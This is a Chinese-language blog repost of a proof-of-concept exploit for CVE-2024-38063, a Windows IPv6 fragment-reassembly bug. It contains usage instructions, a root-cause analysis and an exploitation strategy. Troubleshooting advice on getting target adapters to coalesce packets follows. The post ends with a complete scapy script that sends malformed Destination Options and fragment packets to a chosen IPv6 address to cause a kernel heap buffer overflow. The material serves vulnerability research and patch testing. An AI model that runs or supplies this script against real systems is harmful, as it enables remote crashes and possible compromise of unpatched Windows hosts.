A-A+

CVE-2024-38063 POC 通杀windows

2024年08月28日 16:09 汪洋大海 暂无评论 共4717字 (阅读161 views次)

要求

pip3 install scapy

用法

 

修改脚本中的字段:

  • iface<- 如果您有多个适配器,则需要选择使用哪一个来发送数据包。例如,Linux 上的“eth0”或 Windows 上的“Hyper-V 虚拟以太网适配器”。如果您要使用默认接口,请将其留空。
  • ip_addr<- 目标系统的 IP 地址 (IPv6)
  • num_triesnum_batches<- 需要发送多少个不同的数据包批次。数据包数量越多 = 造成的堆损坏越多 + 触发漏洞的可能性越高。
  • mac_addr<- 留空,除非 scapy 抱怨它找不到 mac 地址。请参阅下面的故障排除。

运行脚本:

python3 cve-2024-38063.py

重现漏洞的最简单方法是bcdedit /set debug on在目标系统上使用并重新启动机器/VM。这将启用默认网络适配器驱动程序kdnic.sys,它非常乐意合并数据包。如果您尝试在不同的设置上重现漏洞,则需要让系统处于可以合并您发送的数据包的位置。您可以阅读下面的故障排除部分以了解更多详细信息。

演示

 

 cve-2024-38063.webm 

粗糙 RCA

 

如果您对技术细节感兴趣,可以阅读Marcus对该漏洞的精彩分析。我下面写的细节旨在作为总结,而不是严肃的技术分析。

  • 在某些情况下,Windows 会将多个 IP 数据包合并在一起并进行批量处理。它首先处理每个数据包中的扩展头,然后才继续处理每个数据包中的数据。
  • 在扩展头处理过程中,这些合并的数据包的数据包对象会以链接列表的形式链接在一起。每个数据包对象都包含一个NET_BUFFER 包含缓冲数据包数据的对象。在偏移处,0x30我们还有一个当前偏移字段,用于指示数据包的解析程度。在此阶段,偏移值通常为0x28,表示已解析 IPv6 头,但未解析其他内容。
  • 在处理 中的“目标选项”扩展头时tcpip!Ipv6pReceiveDestinationOptions,解析错误会导致被tcpip!IppSendErrorList调用。此函数tcpip!IppSendError对链接列表中的每个数据包对象(从当前对象开始)进行调用。
  • 在某些情况下(例如,如果数据包是单播的),tcpip!IppSendError会产生副作用。它会将缓冲的数据包数据“恢复”回起始位置,并将当前偏移字段重置为零。
  • 然而,在这整个事件链中,只有第一个数据包被标记为有错误(偏移量0x8C)。这意味着驱动程序将继续解析链接列表中其他数据包的扩展头,即使它们已在 中被“还原” IppSendError
  • 然后,对那些已被还原的数据包进行处理,处理的数据是意外的:缓冲的数据包数据指向数据包的开头(即 IPv6 标头)而不是扩展标头,并且偏移量字段值为零而不是0x28

战略

 

  • 为了利用该漏洞,我们利用了Ipv6pReceiveFragment。该函数解析片段扩展头,并假设0x28在计算数据包中非头数据的长度时,数据包的偏移字段至少为 ,方法是0x30从当前偏移值中减去 。然后,将该值存储在重组对象中,该对象的目的是重组碎片数据包。
  • 在我们的例子中,该函数将在已被 恢复的数据包上调用IppSendError。偏移值将为零,并增加到8中的某个较早位置Ipv6pReceiveFragment。计算非标头数据的大小时,该值将下溢并等于0xffd8(减法以 16 位完成)。
  • 长度值稍后仅在两个地方使用:
    • Ipv6pReassembleDatagram,用于计算重组数据包的输出缓冲区的长度。但是,所有计算均以 32 位完成,并且会进行健全性检查,以确保总长度不超过0xFFFF,而在本例中确实会发生这种情况。
    • Ipv6pReassemblyTimeout,其中也以相同的方式使用。但是,这里的计算是以 16 位进行的,并且会发生整数溢出。这会导致稍后将数据复制到缓冲区时发生缓冲区溢出。

要触发Ipv6pReassemblyTimeout,片段的发送者必须处于非活动状态 1 分钟。我们的策略是:

  • 向触发器发送格式错误的目标选项IppSendError,然后发送片段数据包
  • 希望两个数据包合并,并且第二个数据包的对象将重置其数据和偏移量
  • 引起下溢Ipv6pReceiveFragment并创建一个新的重组对象,其片段数据长度为高 16 位值
  • 等待 1 分钟,不再发送任何数据包,以便Ipv6pReassemblyTimeout触发。
  • 导致缓冲区大小计算中的整数溢出,Ipv6pReassemblyTimeout并触发基于堆的缓冲区溢出。

脚本中的数据包被发送出去,因此它们更有可能被合并。主要有效载荷非常简单:

  • 带有“目标选项”扩展标头的 IPv6 数据包,其选项数据格式错误,将触发解析错误
  • IPv6 片段 #1,我们希望将其连接到第一个数据包
  • IPv6 片段 #2(相同 ID),也可以与前两个片段连接,但其主要目的是完成第二个片段,以便在正常处理时不会抛出错误

我们还手动设置了 IPv6 标头中的跳数限制和流标签字段。回想一下,缓冲的数据包数据由于漏洞而被重置。这意味着,在处理片段数据包时,IPv6 标头将被解释为片段标头数据。IPv6 标头中的跳数限制字段将被解释为片段标头中 id 字段的位之一。通过更改它,我们确保触发多个不同片段的漏洞并导致多个不同的损坏,从而增加崩溃的可能性(因为这毕竟是一个 PoC)。ip 标头的流限制字段将被解释为片段标头的偏移量和“更多指示符”字段。通过将其设置为1,我们表明还有更多标头(因此可以Ipv6pReassemblyTimeout稍后触发)并且偏移量为零(因为这是第一个到达的具有此类 id 的数据包)。

笔记

 

  • 以上只是利用触发漏洞所引入的问题的一种策略。我使用这个策略是因为它非常简单,而且我不想浪费时间研究其他可能性。如果其他人很快提出更好的策略,我不会感到惊讶。
  • 该漏洞需要满足以下条件:
    • 目标系统上的 IPv6 功能、接收数据包的能力(防火墙前)
    • 能够让目标系统在某种程度上合并发送的数据包。一些适配器 + 驱动程序对非常乐意这样做,而其他的似乎更犹豫。可能有一些技巧或特殊的数据包链可用于使 Windows RSC 合并数据包,而不管适配器或网络健康状况如何,但我没有任何证据证明这一点。
  • 该漏洞不需要的内容:
    • 发送垃圾邮件数据包,poc 这样做只是为了增加合并 + 触发多个损坏的机会作为演示。
    • 目标系统上的负载情况很重,因为合并可能发生在许多不同的情况下。
    • 目标系统上除启用 IPv6 之外的任何特定设置。
    • (最有可能)等待一分钟触发损坏,我只使用这种滥用漏洞的策略,因为它是最简单的。很有可能以更直接的方式滥用漏洞造成的问题情况。
    • (最有可能)单播数据包,我使用它们作为我们使用的代码路径Ipv6pReassemblyTimeout要求原始片段数据包以单播形式发送。

故障排除

 

如果不起作用,可能是因为:

  • 无法通过 IPv6 访问目标系统:
    • 禁用Windows防火墙
    • 从主机 ping -6 {ipv6_address}
    • 确保你收到回复
    • 重新启用防火墙
  • 目标系统未接收数据包
    • 在目标系统上安装 wireshark,并检查脚本发送的数据包是否到达
  • scapy 报告“未找到到达目的地的 Mac 地址。使用广播。”
    • 你需要找到目标机器的mac地址
    • 这可以通过运行上面的 ping 命令并检查 wireshark 中的答复(eth 源地址字段)来完成
    • 您也可以使用 scapy: Ether(raw(sr1(IPv6(dst={your_dest_ip})/ICMPv6EchoRequest()))).src,但有时这不起作用
    • 获得 mac 地址后,将其放入脚本中的 mac_addr 字段并运行脚本
  • 目标系统上未合并数据包
    • 根据您的适配器网络适配器/驱动程序,可能很难让 Windows 合并数据包,而无需采取类似 ddos​​ 之类的手段来淹没目标。
    • 您可以尝试修改适配器设置,例如“数据包合并”、“中断调节”、“中断调节模式”、“接收段合并”,具体取决于哪些可用。例如,在我的专用服务器上将“中断调节模式”设置为“极端”可使漏洞重现。
  • 如果一切都失败了,您可以附加内核调试器并检查以下几点:
    • tcpip!Ipv6pReceiveDestinationOptions-> tcpip!Ipv6pProcessOptions->被击中了吗tcpip!IppSendErrorList
    • 中断tcpip!Ipv6pProcessOptions并检查是否[rcx]始终为零。如果是,则由于某种原因数据包未合并。
    • 中断tcpip!Ipv6pReceiveFragment并检查是否[rcx+0x30]等于零。如果不等于零,则表示漏洞由于某种原因未能触发。

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from scapy.all import *
 
iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20
 
def get_packets_with_mac(i):
    frag_id = 0xdebac1e + i
    first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]
 
def get_packets(i):
    if mac_addr != '':
        return get_packets_with_mac(i)
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]
 
final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)
 
print("Sending packets")
if mac_addr != '':
    sendp(final_ps, iface)
else:
    send(final_ps, iface)
 
for i in range(60):
    print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
    time.sleep(1)
print("")

文章来源:https://github.com/ynwarcs/CVE-2024-38063/blob/main/script/cve-2024-38063.py

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

给我留言